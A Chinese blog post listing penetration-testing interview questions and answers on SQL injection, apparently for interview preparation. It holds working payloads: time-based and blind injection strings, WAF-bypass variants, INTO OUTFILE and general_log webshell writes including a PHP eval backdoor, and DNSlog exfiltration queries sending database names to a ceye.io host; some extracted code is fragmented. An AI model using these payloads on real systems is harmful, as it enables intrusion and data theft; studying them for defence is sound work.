【网络安全】面试中常见问题--sql注入篇

博主昵称:跳楼梯企鹅
博主主页面链接:博主主页传送门

博主专栏页面连接:专栏传送门--网路安全技术
创作初心:本博客的初心为与技术朋友们相互交流,每个人的技术都存在短板,博主也是一样,虚心求教,希望各位技术友给予指导。
博主座右铭:发现光,追随光,成为光,散发光;
博主研究方向:渗透测试、机器学习 ;
博主寄语:感谢各位技术友的支持,您的支持就是我前进的动力 ;


【网络安全】面试中常见问题--sql注入篇_第1张图片


 

面试宝典问题大全

一、.mysql 注入点,用工具对目标站直接写入一句话,需要哪些条件?

2.为何一个 mysql 数据库的站,只有一个 80 端口开放?

三、如何突破注入时字符被转义?

四、sql 注入的几种类型?

五、报错注入的函数有哪些?

六、延时注入如何来判断?

七、盲注和延时注入的共同点?

八、注入时可以不使用 and 或 or 或 xor,直接 order by 开始注入吗?

九、如果网站 get 与 post 都做了防注入,还可以采用什么方式绕过

十、 注入漏洞只能查账号密码?

十一、 如何利用这个防注入系统拿 shell?

十二、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪 种是优选?

十三、sqlmap,怎么对一个注入点注入?

十四、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

十五、sql 注入写文件都有哪些函数?

十六、SQL 注入防护方法?

十七、 盲注 if 被过滤怎么绕过?

十八、 注入时,Waf 过滤了逗号,如何绕过?

十九、MySQL 写 WebShell 有几种方式,利用条件?

二十、 Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么构造代码,mysql 下又如何?

二十一、phpmyadmin 写 sehll 的方法

二十二、 预编译能否 100%防 sql 注入,如果不能,写一个

以上内容资料来源于牛客网:渗透测试面试题库


一、.mysql 注入点,用工具对目标站直接写入一句话,需要哪些条件?

root 权限、网站的绝对路径、需要数据库开启 secure_file_priv 相当于 secure_file_priv
值为空,不为空不充许写入 webshell (默认不开启,需要修改 my.ini 配置文件)。

2.为何一个 mysql 数据库的站,只有一个 80 端口开放?

1 、更改了数据库端口,没有扫描出来。
2 、站库分离。
3 3306 端口不对外开放

三、如何突破注入时字符被转义?

宽字符注入、 hex 编码绕过

四、sql 注入的几种类型?

1 )报错注入
2 bool 型注入
3 )延时注入
4 )宽字节注入

五、报错注入的函数有哪些?

1.floor

2.updatexml

3.extractvalue

六、延时注入如何来判断?

SQL 盲注分为三大类:基于布尔型 SQL 盲注、基于时间型 SQL 盲注、基于报错型 SQL 盲注
基于布尔型 SQL 盲注 : XXX' and ascii(substr(database(),1,1))=112#
基于时间型 SQL 盲注 : XXX' and sleep(x)#

七、盲注和延时注入的共同点?

都是一个字符一个字符的判断

八、注入时可以不使用 and or xor,直接 order by 开始注入吗?

and/or/xor ,前面的 1=1 1=2 步骤只是为了判断是否为注入点,如果已经确定是注入
点那就可以省那步骤去。

九、如果网站 get post 都做了防注入,还可以采用什么方式绕过

Cookices 注入绕过

十、 注入漏洞只能查账号密码?

最低权限都可以查找帐号和密码,如 mssql sa 权限可以获取系统权限, dbowner 可以
获取 Webshell public 可以脱库; mysql root 权限、知道网站的绝对路径、数据库 my.ini
置文件 secure_file_priv 值为空时,就可以获取 webshell 并执行操作系统命令。

十一、 如何利用这个防注入系统拿 shell

URL 里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个
时候可以尝试寻找网站的配置文件 直接上菜刀链接。

十二、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪 种是优选?

有写入权限的,构造联合查询语句使用 using INTO OUTFILE ,可以将查询的输出重定向
到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直
接获得一个 Shell ,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,
然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

十三、sqlmap,怎么对一个注入点注入?

1 )如果是 get 注入,直接, sqlmap -u " 注入点网址 ".
2) 如果是 post 注入,可以 sqlmap –r "burp 地址访问包
3 )如果是 cookie X-Forwarded-For 等,可以访问的时候,用 burpsuite 抓包,注入处用号
替换,放到文件里,然后 sqlmap -r " 文件地址 " ,记得加上 —level 3 参数

十四、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

demo.do?DATA=AjAxNg== DATA 有可能经过了 base64 编码再传入服务器,所以我们也
要对参数进行 base64 编码才能正确完成测试

十五、sql 注入写文件都有哪些函数?

union select "",2 into outfile
"C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit

十六、SQL 注入防护方法?

1 、涵数过滤,如 !is_numeric 涵数 // 判断变量 id 是否为数字
2 、直接下载相关防范注入文件,通过 incloud 包含放在网站配置文件里面,如 360 、阿里云、腾迅提供的防注入脚
3 、使用白名单来规范化输入验证方法
4 、采用 PDO 预处理
5 、使用 Waf 拦截

十七、 盲注 if 被过滤怎么绕过?

如果 and if waf 拦截,我们可以使用内联注释来绕过函数的检测,如:
xor /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
^ /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
/*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
and case when 1!=0 then /*!sleep*//*!(5)*/ else 0 end %23

十八、 注入时,Waf 过滤了逗号,如何绕过?

在实际中如果我们在注入语句中有逗号就可能被拦截,这个时候我们可以用 join 来绕过
mysql> select user_id,user,password from users union select 1,2,3;
 
不出现逗号,使用 Join 来注入
mysql> select user_id,user,password from users union select * from ((select 1)A join
(select 2)B join (select 3)C);
 

十九、MySQL WebShell 有几种方式,利用条件?

一、
union select 后写入
lines terminated by 写 入
lines starting by 写 入fields
terminated by 写 入
COLUMNS terminated by 写 入
二、
root 权限
GPC 关闭(能使用单引号),magic_quotes_gpc=On 有
绝对路径(读文件可以不用,写文件必须)
没有配置–secure-file-priv
成功条件:有读写的权限,有 create、insert、select 的权限

二十、 Sql 注入无回显的情况下,利用 DNSlogmysql 下利用什么构造代码,mysql 下又如何?

1.没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火
墙的存在,容易被封禁 IP,可以尝试调整请求频率,有条件的使用代理池进行请
求。
2. 此时也可以使用 DNSlog 注入,原理就是把服务器返回的结果放在域
名中,然后读取 DNS 解析时的日志,来获取想要的信息。
3. Mysql 中利用 load_file() 构造 payload 创建数据表导出 shell
CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL );
INSERT INTO `mysql`.`shadow9` (`content` ) VALUES (‘
@eval($_POST[pass]);?>’);
SELECT `content` FROM `shadow9` INTO OUTFILE‘
C:\\phpStudy\\WWW\\90sec.php’;
DROP TABLE IF EXISTS `shadow9`;
‘ and if((select load_file(concat(‘ \\\\’,(select database()),’.xxx.ceye.io\\abc’))),1,0)#

4. Mssql 下 利 用 master..xp_dirtree 构 造 payload

DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+’.xxx.ceye.io’;EXEC(‘master..xp_dirtree”\’+@host+’\foobar$”‘);

二十一、phpmyadmin sehll 的方法

一、常规导入 shell 的操作
二、一句话导出 shell:
select '' into outfile 'c:/phpstu
dy/www/90sec.php' ;
select '' into outfile 'c:\\phpst
udy\\www\\90sec.php' ;
select '' into dumpfile 'c:\\phps
tudy\\www\\bypass.php' ;
三、日志备份获取 shell $dbh = new PDO( "txf" );
$name = $_GET[ 'name' ];
$stmt = $dbh->prepare( 'SELECT * FROM ' . $name . ' where usern
ame = :username' );
$stmt->execute( array ( ':username' => $_REQUEST[ 'username' ])
);
$pdo->query( 'SET NAMES gbk' );
$var = "\xbf\x27 OR 1=1 /*" ;
$query = 'SELECT * FROM test WHERE name = ? LIMIT 1' ;
$stmt = $pdo->prepare($query);
$stmt->execute( array ($var));
// 关闭 general_log
//phpinfo() 写入日志
SELECT '' ;
文件
set global general_log= 'off' ;
模式
//
// 开启 general log
SET global general_log_file= 'D:/phpStudy/WWW/cmd.php' ;
置日志文件保存路径
// 查询 general
show global variables like "%genera%" ;
_log 配置
set global general_log= 'on' ;

二十二、 预编译能否 100%sql 注入,如果不能,写一个

答 :
不能。
一、
类似于宽字节注入
二、
参数 name 是一串数组,PDO 不会生效
三、
$stmt = $dbh->prepare( 'SELECT * FROM foo ORDER BY :userSuppli
edData' );
PDO 对 DDL 不生效
二十三、 MySQL 有哪些获取系统信息的函数
如:Version()、user()、databases()、 SCHEMA()

以上内容资料来源于牛客网:渗透测试面试题库
 

你可能感兴趣的:(网络安全技术,web安全,安全)